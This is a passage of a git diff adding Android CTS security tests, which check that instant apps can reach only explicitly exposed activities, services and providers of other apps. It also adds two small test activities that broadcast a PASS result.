+                    is("com.android.cts.ephemeralapp1.EphemeralService"));
+        }
+
+        // query instant application provider
+        {
+            final Intent queryIntent = new Intent(ACTION_QUERY);
+            final List<ResolveInfo> resolveInfo = InstrumentationRegistry
+                    .getContext().getPackageManager().queryIntentContentProviders(
+                            queryIntent, 0 /*flags*/);
+            if (resolveInfo == null || resolveInfo.size() == 0) {
+                fail("didn't resolve any intents");
+            }
+            assertThat(resolveInfo.size(), is(2));
+            assertThat(resolveInfo.get(0).providerInfo.packageName,
+                    is("com.android.cts.ephemeralapp1"));
+            assertThat(resolveInfo.get(0).providerInfo.name,
+                    is("com.android.cts.ephemeralapp1.EphemeralProvider"));
+            assertThat(resolveInfo.get(1).providerInfo.packageName,
+                    is("com.android.cts.normalapp"));
+            assertThat(resolveInfo.get(1).providerInfo.name,
+                    is("com.android.cts.normalapp.ExposedProvider"));
+            assertThat(resolveInfo.get(1).isInstantAppAvailable,
+                    is(false));
+        }
+
+        // query instant application provider ; directed package
+        {
+            final Intent queryIntent = new Intent(ACTION_QUERY);
+            queryIntent.setPackage("com.android.cts.ephemeralapp1");
+            final List<ResolveInfo> resolveInfo = InstrumentationRegistry
+                    .getContext().getPackageManager().queryIntentContentProviders(
+                            queryIntent, 0 /*flags*/);
+            if (resolveInfo == null || resolveInfo.size() == 0) {
+                fail("didn't resolve any intents");
+            }
+            assertThat(resolveInfo.size(), is(1));
+            assertThat(resolveInfo.get(0).providerInfo.packageName,
+                    is("com.android.cts.ephemeralapp1"));
+            assertThat(resolveInfo.get(0).providerInfo.name,
+                    is("com.android.cts.ephemeralapp1.EphemeralProvider"));
+        }
+
+        // query instant application provider ; directed component
+        {
+            final Intent queryIntent = new Intent(ACTION_QUERY);
+            queryIntent.setComponent(
+                    new ComponentName("com.android.cts.ephemeralapp1",
+                            "com.android.cts.ephemeralapp1.EphemeralProvider"));
+            final List<ResolveInfo> resolveInfo = InstrumentationRegistry
+                    .getContext().getPackageManager().queryIntentContentProviders(
+                            queryIntent, 0 /*flags*/);
+            if (resolveInfo == null || resolveInfo.size() == 0) {
+                fail("didn't resolve any intents");
+            }
+            assertThat(resolveInfo.size(), is(1));
+            assertThat(resolveInfo.get(0).providerInfo.packageName,
+                    is("com.android.cts.ephemeralapp1"));
+            assertThat(resolveInfo.get(0).providerInfo.name,
+                    is("com.android.cts.ephemeralapp1.EphemeralProvider"));
+        }
+
+        // resolve normal provider
+        {
+            final ProviderInfo providerInfo = InstrumentationRegistry
+                    .getContext().getPackageManager().resolveContentProvider(
+                            "com.android.cts.normalapp.provider", 0 /*flags*/);
+            assertThat(providerInfo, is(nullValue()));
+        }
+
+        // resolve exposed provider
+        {
+            final ProviderInfo providerInfo = InstrumentationRegistry
+                    .getContext().getPackageManager().resolveContentProvider(
+                            "com.android.cts.normalapp.exposed.provider", 0 /*flags*/);
+            assertThat(providerInfo, is(notNullValue()));
+            assertThat(providerInfo.packageName,
+                    is("com.android.cts.normalapp"));
+            assertThat(providerInfo.name,
+                    is("com.android.cts.normalapp.ExposedProvider"));
+        }
+
+        // resolve instant application provider
+        {
+            final ProviderInfo providerInfo = InstrumentationRegistry
+                    .getContext().getPackageManager().resolveContentProvider(
+                            "com.android.cts.ephemeralapp1.provider", 0 /*flags*/);
+            assertThat(providerInfo, is(notNullValue()));
+            assertThat(providerInfo.packageName,
+                    is("com.android.cts.ephemeralapp1"));
+            assertThat(providerInfo.name,
+                    is("com.android.cts.ephemeralapp1.EphemeralProvider"));
+        }
+    }
+
+    @Test
+    public void testStartNormal() throws Exception {
+        // start the normal activity
+        try {
+            final Intent startNormalIntent = new Intent(ACTION_START_NORMAL);
+            InstrumentationRegistry
+                    .getContext().startActivity(startNormalIntent, null /*options*/);
+            final TestResult testResult = getResult();
+            fail();
+        } catch (ActivityNotFoundException expected) {
+        }
+
+        // start the normal activity; directed package
+        try {
+            final Intent startNormalIntent = new Intent(ACTION_START_NORMAL);
+            startNormalIntent.setPackage("com.android.cts.normalapp");
+            InstrumentationRegistry
+                    .getContext().startActivity(startNormalIntent, null /*options*/);
+            final TestResult testResult = getResult();
+            fail();
+        } catch (ActivityNotFoundException expected) {
+        }
+
+        // start the normal activity; directed component
+        try {
+            final Intent startNormalIntent = new Intent(ACTION_START_NORMAL);
+            startNormalIntent.setComponent(new ComponentName(
+                    "com.android.cts.normalapp", "com.android.cts.normalapp.NormalActivity"));
+            InstrumentationRegistry
+                    .getContext().startActivity(startNormalIntent, null /*options*/);
+            final TestResult testResult = getResult();
+            fail();
+        } catch (ActivityNotFoundException expected) {
+        }
+
+// TODO: Ideally we should have a test for this. However, it shows a disambig between the
+//       the normal app and chrome; for which there is no easy solution.
+//        // start the normal activity; using VIEW/BROWSABLE
+//        {
+//            final Intent startViewIntent = new Intent(Intent.ACTION_VIEW);
+//            startViewIntent.addCategory(Intent.CATEGORY_BROWSABLE);
+//            startViewIntent.setData(Uri.parse("https://cts.google.com/normal"));
+//            InstrumentationRegistry.getContext().startActivity(startViewIntent, null /*options*/);
+//            final TestResult testResult = getResult();
+//            assertThat(testResult.getPackageName(),
+//                    is("com.android.cts.normalapp"));
+//            assertThat(testResult.getComponentName(),
+//                    is("NormalWebActivity"));
+//            assertThat(testResult.getStatus(),
+//                    is("PASS"));
+//            assertThat(testResult.getEphemeralPackageInfoExposed(),
+//                    is(false));
+//            assertThat(testResult.getException(),
+//                    is(nullValue()));
+//        }
+
+        // We don't attempt to start the service since it will merely return and not
+        // provide any feedback. The alternative is to wait for the broadcast timeout
+        // but it's silly to artificially slow down CTS. We'll rely on queryIntentService
+        // to check whether or not the service is actually exposed
+
+        // bind to the normal service; directed package
+        {
+            final Intent startNormalIntent = new Intent(ACTION_START_NORMAL);
+            startNormalIntent.setPackage("com.android.cts.normalapp");
+            final TestServiceConnection connection = new TestServiceConnection();
+            try {
+                assertThat(InstrumentationRegistry.getContext().bindService(
+                        startNormalIntent, connection, Context.BIND_AUTO_CREATE /*flags*/),
+                        is(false));
+            } finally {
+                InstrumentationRegistry.getContext().unbindService(connection);
+            }
+        }
+
+        // bind to the normal service; directed component
+        {
+            final Intent startNormalIntent = new Intent(ACTION_START_NORMAL);
+            startNormalIntent.setComponent(new ComponentName(
+                    "com.android.cts.normalapp", "com.android.cts.normalapp.NormalService"));
+            final TestServiceConnection connection = new TestServiceConnection();
+            try {
+                assertThat(InstrumentationRegistry.getContext().bindService(
+                        startNormalIntent, connection, Context.BIND_AUTO_CREATE /*flags*/),
+                        is(false));
+            } finally {
+                InstrumentationRegistry.getContext().unbindService(connection);
+            }
+        }
+
+        // connect to the normal provider
+        {
+            final String provider = "content://com.android.cts.normalapp.provider/table";
+            final Cursor testCursor = InstrumentationRegistry
+                    .getContext().getContentResolver().query(
+                            Uri.parse(provider),
+                            null /*projection*/,
+                            null /*selection*/,
+                            null /*selectionArgs*/,
+                            null /*sortOrder*/);
+            assertThat(testCursor, is(nullValue()));
+        }
+    }
+
+    @Test
+    public void testStartExposed01() throws Exception {
+        // start the explicitly exposed activity
+        final Intent startExposedIntent = new Intent(ACTION_START_EXPOSED);
+        InstrumentationRegistry
+                .getContext().startActivity(startExposedIntent, null /*options*/);
+        final TestResult testResult = getResult();
+        assertThat(testResult.getPackageName(),
+                is("com.android.cts.normalapp"));
+        assertThat(testResult.getComponentName(),
+                is("ExposedActivity"));
+        assertThat(testResult.getStatus(),
+                is("PASS"));
+        assertThat(testResult.getEphemeralPackageInfoExposed(),
+                is(true));
+        assertThat(testResult.getException(),
+                is(nullValue()));
+    }
+
+    @Test
+    public void testStartExposed02() throws Exception {
+        // start the explicitly exposed activity; directed package
+        final Intent startExposedIntent = new Intent(ACTION_START_EXPOSED);
+        startExposedIntent.setPackage("com.android.cts.normalapp");
+        InstrumentationRegistry
+                .getContext().startActivity(startExposedIntent, null /*options*/);
+        final TestResult testResult = getResult();
+        assertThat(testResult.getPackageName(),
+                is("com.android.cts.normalapp"));
+        assertThat(testResult.getComponentName(),
+                is("ExposedActivity"));
+        assertThat(testResult.getStatus(),
+                is("PASS"));
+        assertThat(testResult.getEphemeralPackageInfoExposed(),
+                is(true));
+        assertThat(testResult.getException(),
+                is(nullValue()));
+    }
+
+    @Test
+    public void testStartExposed03() throws Exception {
+        // start the explicitly exposed activity; directed component
+        final Intent startExposedIntent = new Intent(ACTION_START_EXPOSED);
+        startExposedIntent.setComponent(new ComponentName(
+                "com.android.cts.normalapp", "com.android.cts.normalapp.ExposedActivity"));
+        InstrumentationRegistry
+                .getContext().startActivity(startExposedIntent, null /*options*/);
+        final TestResult testResult = getResult();
+        assertThat(testResult.getPackageName(),
+                is("com.android.cts.normalapp"));
+        assertThat(testResult.getComponentName(),
+                is("ExposedActivity"));
+        assertThat(testResult.getStatus(),
+                is("PASS"));
+        assertThat(testResult.getEphemeralPackageInfoExposed(),
+                is(true));
+        assertThat(testResult.getException(),
+                is(nullValue()));
+    }
+
+    @Test
+    public void testStartExposed04() throws Exception {
+        // start the implicitly exposed activity; directed package
+        try {
+            final Intent startExposedIntent = new Intent(Intent.ACTION_VIEW);
+            startExposedIntent.setPackage("com.android.cts.implicitapp");
+            startExposedIntent.addCategory(Intent.CATEGORY_BROWSABLE);
+            startExposedIntent.setData(Uri.parse("https://cts.google.com/implicit"));
+            InstrumentationRegistry
+                    .getContext().startActivity(startExposedIntent, null /*options*/);
+            fail("activity started");
+        } catch (ActivityNotFoundException expected) { }
+    }
+
+    @Test
+    public void testStartExposed05() throws Exception {
+        // start the implicitly exposed activity; directed component
+        try {
+            final Intent startExposedIntent = new Intent(Intent.ACTION_VIEW);
+            startExposedIntent.setComponent(new ComponentName(
+                    "com.android.cts.implicitapp",
+                    "com.android.cts.implicitapp.ImplicitActivity"));
+            startExposedIntent.addCategory(Intent.CATEGORY_BROWSABLE);
+            startExposedIntent.setData(Uri.parse("https://cts.google.com/implicit"));
+            InstrumentationRegistry
+                    .getContext().startActivity(startExposedIntent, null /*options*/);
+            fail("activity started");
+        } catch (ActivityNotFoundException expected) { }
+    }
+
+    @Test
+    public void testStartExposed06() throws Exception {
+        // start the exposed service; directed package
+        final Intent startExposedIntent = new Intent(ACTION_START_EXPOSED);
+        startExposedIntent.setPackage("com.android.cts.normalapp");
+        InstrumentationRegistry.getContext().startForegroundService(startExposedIntent);
+        final TestResult testResult = getResult();
+        assertThat(testResult.getPackageName(),
+                is("com.android.cts.normalapp"));
+        assertThat(testResult.getComponentName(),
+                is("ExposedService"));
+        assertThat(testResult.getStatus(),
+                is("PASS"));
+        assertThat(testResult.getEphemeralPackageInfoExposed(),
+                is(true));
+        assertThat(testResult.getException(),
+                is(nullValue()));
+    }
+
+    @Test
+    public void testStartExposed07() throws Exception {
+        // start the exposed service; directed component
+        final Intent startExposedIntent = new Intent(ACTION_START_EXPOSED);
+        startExposedIntent.setComponent(new ComponentName(
+                "com.android.cts.normalapp", "com.android.cts.normalapp.ExposedService"));
+        InstrumentationRegistry.getContext().startForegroundService(startExposedIntent);
+        final TestResult testResult = getResult();
+        assertThat(testResult.getPackageName(),
+                is("com.android.cts.normalapp"));
+        assertThat(testResult.getComponentName(),
+                is("ExposedService"));
+        assertThat(testResult.getMethodName(),
+                is("onStartCommand"));
+        assertThat(testResult.getStatus(),
+                is("PASS"));
+        assertThat(testResult.getEphemeralPackageInfoExposed(),
+                is(true));
+        assertThat(testResult.getException(),
+                is(nullValue()));
+    }
+
+    @Test
+    public void testStartExposed08() throws Exception {
+        // bind to the exposed service; directed package
+        final Intent startExposedIntent = new Intent(ACTION_START_EXPOSED);
+        startExposedIntent.setPackage("com.android.cts.normalapp");
+        final TestServiceConnection connection = new TestServiceConnection();
+        try {
+            assertThat(InstrumentationRegistry.getContext().bindService(
+                    startExposedIntent, connection, Context.BIND_AUTO_CREATE /*flags*/),
+                    is(true));
+            final TestResult testResult = getResult();
+            assertThat(testResult.getPackageName(),
+                    is("com.android.cts.normalapp"));
+            assertThat(testResult.getComponentName(),
+                    is("ExposedService"));
+            assertThat(testResult.getMethodName(),
+                    is("onBind"));
+            assertThat(testResult.getStatus(),
+                    is("PASS"));
+            assertThat(testResult.getEphemeralPackageInfoExposed(),
+                    is(true));
+            assertThat(testResult.getException(),
+                    is(nullValue()));
+        } finally {
+            InstrumentationRegistry.getContext().unbindService(connection);
+        }
+    }
+
+    @Test
+    public void testStartExposed09() throws Exception {
+        // bind to the exposed service; directed component
+        final Intent startExposedIntent = new Intent(ACTION_START_EXPOSED);
+        startExposedIntent.setComponent(new ComponentName(
+                "com.android.cts.normalapp", "com.android.cts.normalapp.ExposedService"));
+        final TestServiceConnection connection = new TestServiceConnection();
+        try {
+            assertThat(InstrumentationRegistry.getContext().bindService(
+                    startExposedIntent, connection, Context.BIND_AUTO_CREATE /*flags*/),
+                    is(true));
+            final TestResult testResult = getResult();
+            assertThat(testResult.getPackageName(),
+                    is("com.android.cts.normalapp"));
+            assertThat(testResult.getComponentName(),
+                    is("ExposedService"));
+            assertThat(testResult.getMethodName(),
+                    is("onBind"));
+            assertThat(testResult.getStatus(),
+                    is("PASS"));
+            assertThat(testResult.getEphemeralPackageInfoExposed(),
+                    is(true));
+            assertThat(testResult.getException(),
+                    is(nullValue()));
+        } finally {
+            InstrumentationRegistry.getContext().unbindService(connection);
+        }
+    }
+
+    @Test
+    public void testStartExposed10() throws Exception {
+        // connect to exposed provider
+        final String provider = "content://com.android.cts.normalapp.exposed.provider/table";
+        final Cursor testCursor = InstrumentationRegistry
+                .getContext().getContentResolver().query(
+                        Uri.parse(provider),
+                        null /*projection*/,
+                        null /*selection*/,
+                        null /*selectionArgs*/,
+                        null /*sortOrder*/);
+        assertThat(testCursor, is(notNullValue()));
+        assertThat(testCursor.getCount(), is(1));
+        assertThat(testCursor.getColumnCount(), is(2));
+        assertThat(testCursor.moveToFirst(), is(true));
+        assertThat(testCursor.getInt(0), is(1));
+        assertThat(testCursor.getString(1), is("ExposedProvider"));
+        final TestResult testResult = getResult();
+        assertThat(testResult.getPackageName(),
+                is("com.android.cts.normalapp"));
+        assertThat(testResult.getComponentName(),
+                is("ExposedProvider"));
+        assertThat(testResult.getStatus(),
+                is("PASS"));
+        assertThat(testResult.getEphemeralPackageInfoExposed(),
+                is(true));
+        assertThat(testResult.getException(),
+                is(nullValue()));
+    }
+
+    @Test
+    public void testStartEphemeral() throws Exception {
+        // start the ephemeral activity
+        {
+            final Intent startEphemeralIntent = new Intent(ACTION_START_EPHEMERAL);
+            InstrumentationRegistry
+                    .getContext().startActivity(startEphemeralIntent, null /*options*/);
+            final TestResult testResult = getResult();
+            assertThat(testResult.getPackageName(),
+                    is("com.android.cts.ephemeralapp1"));
+            assertThat(testResult.getComponentName(),
+                    is("EphemeralActivity"));
+            assertThat(testResult.getStatus(),
+                    is("PASS"));
+            assertThat(testResult.getException(),
+                    is(nullValue()));
+        }
+
+        // start the ephemeral activity; directed package
+        {
+            final Intent startEphemeralIntent = new Intent(ACTION_START_EPHEMERAL);
+            startEphemeralIntent.setPackage("com.android.cts.ephemeralapp1");
+            InstrumentationRegistry
+                    .getContext().startActivity(startEphemeralIntent, null /*options*/);
+            final TestResult testResult = getResult();
+            assertThat(testResult.getPackageName(),
+                    is("com.android.cts.ephemeralapp1"));
+            assertThat(testResult.getComponentName(),
+                    is("EphemeralActivity"));
+            assertThat(testResult.getStatus(),
+                    is("PASS"));
+            assertThat(testResult.getException(),
+                    is(nullValue()));
+        }
+
+        // start the ephemeral activity; directed component
+        {
+            final Intent startEphemeralIntent = new Intent(ACTION_START_EPHEMERAL);
+            startEphemeralIntent.setComponent(
+                    new ComponentName("com.android.cts.ephemeralapp1",
+                            "com.android.cts.ephemeralapp1.EphemeralActivity"));
+            InstrumentationRegistry
+                    .getContext().startActivity(startEphemeralIntent, null /*options*/);
+            final TestResult testResult = getResult();
+            assertThat(testResult.getPackageName(),
+                    is("com.android.cts.ephemeralapp1"));
+            assertThat(testResult.getComponentName(),
+                    is("EphemeralActivity"));
+            assertThat(testResult.getStatus(),
+                    is("PASS"));
+            assertThat(testResult.getException(),
+                    is(nullValue()));
+        }
+
+        // start a private ephemeral activity
+        {
+            final Intent startEphemeralIntent = new Intent(ACTION_START_EPHEMERAL_PRIVATE);
+            InstrumentationRegistry
+                    .getContext().startActivity(startEphemeralIntent, null /*options*/);
+            final TestResult testResult = getResult();
+            assertThat(testResult.getPackageName(),
+                    is("com.android.cts.ephemeralapp1"));
+            assertThat(testResult.getComponentName(),
+                    is("EphemeralActivity2"));
+            assertThat(testResult.getStatus(),
+                    is("PASS"));
+            assertThat(testResult.getException(),
+                    is(nullValue()));
+        }
+
+        // start a private ephemeral activity; directed package
+        {
+            final Intent startEphemeralIntent = new Intent(ACTION_START_EPHEMERAL_PRIVATE);
+            startEphemeralIntent.setPackage("com.android.cts.ephemeralapp1");
+            InstrumentationRegistry
+                    .getContext().startActivity(startEphemeralIntent, null /*options*/);
+            final TestResult testResult = getResult();
+            assertThat(testResult.getPackageName(),
+                    is("com.android.cts.ephemeralapp1"));
+            assertThat(testResult.getComponentName(),
+                    is("EphemeralActivity2"));
+            assertThat(testResult.getStatus(),
+                    is("PASS"));
+            assertThat(testResult.getException(),
+                    is(nullValue()));
+        }
+
+        // start a private ephemeral activity; directed component
+        {
+            final Intent startEphemeralIntent = new Intent(ACTION_START_EPHEMERAL_PRIVATE);
+            startEphemeralIntent.setComponent(
+                    new ComponentName("com.android.cts.ephemeralapp1",
+                            "com.android.cts.ephemeralapp1.EphemeralActivity2"));
+            InstrumentationRegistry
+                    .getContext().startActivity(startEphemeralIntent, null /*options*/);
+            final TestResult testResult = getResult();
+            assertThat(testResult.getPackageName(),
+                    is("com.android.cts.ephemeralapp1"));
+            assertThat(testResult.getComponentName(),
+                    is("EphemeralActivity2"));
+            assertThat(testResult.getStatus(),
+                    is("PASS"));
+            assertThat(testResult.getException(),
+                    is(nullValue()));
+        }
+
+        // start a private ephemeral activity; directed component
+        {
+            final Intent startEphemeralIntent = new Intent();
+            startEphemeralIntent.setComponent(
+                    new ComponentName("com.android.cts.ephemeralapp1",
+                            "com.android.cts.ephemeralapp1.EphemeralActivity3"));
+            InstrumentationRegistry
+            .getContext().startActivity(startEphemeralIntent, null /*options*/);
+            final TestResult testResult = getResult();
+            assertThat(testResult.getPackageName(),
+                    is("com.android.cts.ephemeralapp1"));
+            assertThat(testResult.getComponentName(),
+                    is("EphemeralActivity3"));
+            assertThat(testResult.getStatus(),
+                    is("PASS"));
+            assertThat(testResult.getException(),
+                    is(nullValue()));
+        }
+
+        // start the ephemeral service; directed package
+        {
+            final Intent startEphemeralIntent = new Intent(ACTION_START_EPHEMERAL);
+            startEphemeralIntent.setPackage("com.android.cts.ephemeralapp1");
+            try {
+                InstrumentationRegistry.getContext().startService(startEphemeralIntent);
+                final TestResult testResult = getResult();
+                assertThat(testResult.getPackageName(),
+                        is("com.android.cts.ephemeralapp1"));
+                assertThat(testResult.getComponentName(),
+                        is("EphemeralService"));
+                assertThat(testResult.getMethodName(),
+                        is("onStartCommand"));
+                assertThat(testResult.getStatus(),
+                        is("PASS"));
+                assertThat(testResult.getException(),
+                        is(nullValue()));
+            } finally {
+                InstrumentationRegistry.getContext().stopService(startEphemeralIntent);
+            }
+        }
+
+        // start the ephemeral service; directed component
+        {
+            final Intent startEphemeralIntent = new Intent(ACTION_START_EPHEMERAL);
+            startEphemeralIntent.setComponent(
+                    new ComponentName("com.android.cts.ephemeralapp1",
+                            "com.android.cts.ephemeralapp1.EphemeralService"));
+            try {
+                assertThat(InstrumentationRegistry.getContext().startService(startEphemeralIntent),
+                        is(notNullValue()));
+                final TestResult testResult = getResult();
+                assertThat(testResult.getPackageName(),
+                        is("com.android.cts.ephemeralapp1"));
+                assertThat(testResult.getComponentName(),
+                        is("EphemeralService"));
+                assertThat(testResult.getMethodName(),
+                        is("onStartCommand"));
+                assertThat(testResult.getStatus(),
+                        is("PASS"));
+                assertThat(testResult.getException(),
+                        is(nullValue()));
+            } finally {
+                InstrumentationRegistry.getContext().stopService(startEphemeralIntent);
+            }
+        }
+
+        // bind to the ephemeral service; directed package
+        {
+            final Intent startEphemeralIntent = new Intent(ACTION_START_EPHEMERAL);
+            startEphemeralIntent.setPackage("com.android.cts.ephemeralapp1");
+            final TestServiceConnection connection = new TestServiceConnection();
+            try {
+                assertThat(InstrumentationRegistry.getContext().bindService(
+                        startEphemeralIntent, connection, Context.BIND_AUTO_CREATE /*flags*/),
+                        is(true));
+                final TestResult testResult = getResult();
+                assertThat(testResult.getPackageName(),
+                        is("com.android.cts.ephemeralapp1"));
+                assertThat(testResult.getComponentName(),
+                        is("EphemeralService"));
+                assertThat(testResult.getMethodName(),
+                        is("onBind"));
+                assertThat(testResult.getStatus(),
+                        is("PASS"));
+                assertThat(testResult.getException(),
+                        is(nullValue()));
+            } finally {
+                InstrumentationRegistry.getContext().unbindService(connection);
+            }
+        }
+
+        // bind to the ephemeral service; directed component
+        {
+            final Intent startEphemeralIntent = new Intent(ACTION_START_EPHEMERAL);
+            startEphemeralIntent.setComponent(
+                    new ComponentName("com.android.cts.ephemeralapp1",
+                            "com.android.cts.ephemeralapp1.EphemeralService"));
+            final TestServiceConnection connection = new TestServiceConnection();
+            try {
+                assertThat(InstrumentationRegistry.getContext().bindService(
+                        startEphemeralIntent, connection, Context.BIND_AUTO_CREATE /*flags*/),
+                        is(true));
+                final TestResult testResult = getResult();
+                assertThat(testResult.getPackageName(),
+                        is("com.android.cts.ephemeralapp1"));
+                assertThat(testResult.getComponentName(),
+                        is("EphemeralService"));
+                assertThat(testResult.getMethodName(),
+                        is("onBind"));
+                assertThat(testResult.getStatus(),
+                        is("PASS"));
+                assertThat(testResult.getException(),
+                        is(nullValue()));
+            } finally {
+                InstrumentationRegistry.getContext().unbindService(connection);
+            }
+        }
+
+        // connect to the instant app provider
+        {
+            final String provider = "content://com.android.cts.ephemeralapp1.provider/table";
+            final Cursor testCursor = InstrumentationRegistry
+                    .getContext().getContentResolver().query(
+                            Uri.parse(provider),
+                            null /*projection*/,
+                            null /*selection*/,
+                            null /*selectionArgs*/,
+                            null /*sortOrder*/);
+            assertThat(testCursor, is(notNullValue()));
+            assertThat(testCursor.getCount(), is(1));
+            assertThat(testCursor.getColumnCount(), is(2));
+            assertThat(testCursor.moveToFirst(), is(true));
+            assertThat(testCursor.getInt(0), is(1));
+            assertThat(testCursor.getString(1), is("InstantAppProvider"));
+        }
+    }
+
+    @Test
+    public void testBuildSerialUnknown() throws Exception {
+        assertThat(Build.SERIAL, is(Build.UNKNOWN));
+    }
+
+    @Test
+    public void testPackageInfo() throws Exception {
+        PackageInfo info;
+        // own package info
+        info = InstrumentationRegistry.getContext().getPackageManager()
+                .getPackageInfo("com.android.cts.ephemeralapp1", 0);
+        assertThat(info.packageName,
+                is("com.android.cts.ephemeralapp1"));
+
+        // exposed application package info
+        info = InstrumentationRegistry.getContext().getPackageManager()
+                .getPackageInfo("com.android.cts.normalapp", 0);
+        assertThat(info.packageName,
+                is("com.android.cts.normalapp"));
+
+        // implicitly exposed application package info not accessible
+        try {
+            info = InstrumentationRegistry.getContext().getPackageManager()
+                    .getPackageInfo("com.android.cts.implicitapp", 0);
+            fail("Instant apps should not be able to access PackageInfo for an app that does not" +
+                    " expose itself to Instant Apps.");
+        } catch (PackageManager.NameNotFoundException expected) {
+        }
+
+        // unexposed application package info not accessible
+        try {
+            info = InstrumentationRegistry.getContext().getPackageManager()
+                    .getPackageInfo("com.android.cts.unexposedapp", 0);
+            fail("Instant apps should not be able to access PackageInfo for an app that does not" +
+                    " expose itself to Instant Apps.");
+        } catch (PackageManager.NameNotFoundException expected) {
+        }
+
+        // instant application (with visibleToInstantApp component) package info not accessible
+        try {
+            info = InstrumentationRegistry.getContext().getPackageManager()
+                    .getPackageInfo("com.android.cts.ephemeralapp2", 0);
+            fail("Instant apps should not be able to access PackageInfo for another Instant App.");
+        } catch (PackageManager.NameNotFoundException expected) {
+        }
+    }
+
+    @Test
+    public void testInstallPermissionNotGranted() throws Exception {
+        assertThat(InstrumentationRegistry.getContext()
+                    .checkCallingOrSelfPermission(Manifest.permission.SET_ALARM),
+                is(PackageManager.PERMISSION_DENIED));
+    }
+
+    @Test
+    public void testInstallPermissionGranted() throws Exception {
+        assertThat(InstrumentationRegistry.getContext()
+                    .checkCallingOrSelfPermission(Manifest.permission.INTERNET),
+                is(PackageManager.PERMISSION_GRANTED));
+    }
+
+    @Test
+    public void testExposedActivity() throws Exception {
+        final Bundle testArgs = InstrumentationRegistry.getArguments();
+        assertThat(testArgs, is(notNullValue()));
+        final String action = testArgs.getString("action");
+        final String category = testArgs.getString("category");
+        final String mimeType = testArgs.getString("mime_type");
+        assertThat(action, is(notNullValue()));
+        final Intent queryIntent = makeIntent(action, category, mimeType);
+        final List<ResolveInfo> resolveInfo = InstrumentationRegistry.getContext()
+                .getPackageManager().queryIntentActivities(queryIntent, 0 /*flags*/);
+        if (resolveInfo == null || resolveInfo.size() == 0) {
+            fail("No activies found for Intent: " + queryIntent);
+        }
+    }
+
+    private TestResult getResult() {
+        final TestResult result;
+        try {
+            result = mResultQueue.poll(5, TimeUnit.SECONDS);
+        } catch (InterruptedException e) {
+            throw new RuntimeException(e);
+        }
+        if (result == null) {
+            throw new IllegalStateException("Activity didn't receive a Result in 5 seconds");
+        }
+        return result;
+    }
+
+    private static Intent makeIntent(String action, String category, String mimeType) {
+        Intent intent = new Intent(action);
+        if (category != null) {
+            intent.addCategory(category);
+        }
+        if (mimeType != null) {
+            intent.setType(mimeType);
+        }
+        return intent;
+    }
+
+    private static class ActivityBroadcastReceiver extends BroadcastReceiver {
+        private final SynchronousQueue<TestResult> mQueue;
+        public ActivityBroadcastReceiver(SynchronousQueue<TestResult> queue) {
+            mQueue = queue;
+        }
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            try {
+                mQueue.offer(intent.getParcelableExtra(TestResult.EXTRA_TEST_RESULT),
+                        5, TimeUnit.SECONDS);
+            } catch (InterruptedException e) {
+                throw new RuntimeException(e);
+            }
+        }
+    }
+
+    private static class TestServiceConnection implements ServiceConnection {
+        @Override
+        public void onServiceConnected(ComponentName name, IBinder service) {
+        }
+        @Override
+        public void onServiceDisconnected(ComponentName name) {
+        }
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/EphemeralActivity.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/EphemeralActivity.java
new file mode 100644
index 0000000..bc29af9
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/EphemeralActivity.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.ephemeralapp1;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.content.pm.PackageInfo;
+import android.content.pm.ResolveInfo;
+import android.content.pm.PackageManager.NameNotFoundException;
+import android.net.Uri;
+import android.os.Bundle;
+import android.util.Log;
+
+import com.android.cts.util.TestResult;
+
+import java.util.List;
+
+public class EphemeralActivity extends Activity {
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        TestResult.getBuilder()
+                .setPackageName("com.android.cts.ephemeralapp1")
+                .setComponentName("EphemeralActivity")
+                .setStatus("PASS")
+                .build()
+                .broadcast(this);
+        finish();
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/EphemeralActivity2.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/EphemeralActivity2.java
new file mode 100644
index 0000000..952b2f66
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/EphemeralActivity2.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.ephemeralapp1;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.content.pm.ResolveInfo;
+import android.net.Uri;
+import android.os.Bundle;
+import android.util.Log;
+
+import com.android.cts.util.TestResult;
+
+import java.util.List;
+
+public class EphemeralActivity2 extends Activity {
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        TestResult.getBuilder()
+                .setPackageName("com.android.cts.ephemeralapp1")
+                .setComponentName("EphemeralActivity2")
+                .setStatus("PASS")
+                .build()
+                .broadcast(this);
+        finish();
+    }
+}
